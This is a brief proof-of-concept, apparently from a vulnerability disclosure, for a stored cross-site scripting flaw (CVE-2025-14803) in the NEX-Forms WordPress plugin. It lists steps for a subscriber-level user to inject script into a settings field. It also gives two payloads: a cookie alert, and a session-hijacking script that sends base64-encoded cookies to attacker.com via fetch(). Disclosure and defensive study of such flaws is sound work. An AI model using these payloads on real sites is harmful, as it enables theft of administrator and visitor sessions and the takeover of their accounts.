CVE-2025-14803: NEX-Forms WordPress插件存储型XSS漏洞

// CVE-2025-14803 PoC - Stored XSS in NEX-Forms WordPress Plugin // Author: WPScan Team // This PoC demonstrates storing malicious JavaScript through plugin settings // 1. Login as subscriber user // 2. Navigate to NEX-Forms settings panel // 3. Inject XSS payload in vulnerable settings field // Example XSS payload to be placed in settings field: const xssPayload = '<script>alert(document.cookie)</script>'; // Alternative payload for session hijacking: const sessionHijackPayload = ` <script> document.addEventListener('DOMContentLoaded', function() { fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)); }); </script> `; // The injected script will execute when: // - Admin views form settings // - Form is displayed on frontend // - Any user accesses affected page // Impact: Cookie theft, session hijacking, defacement, phishing redirects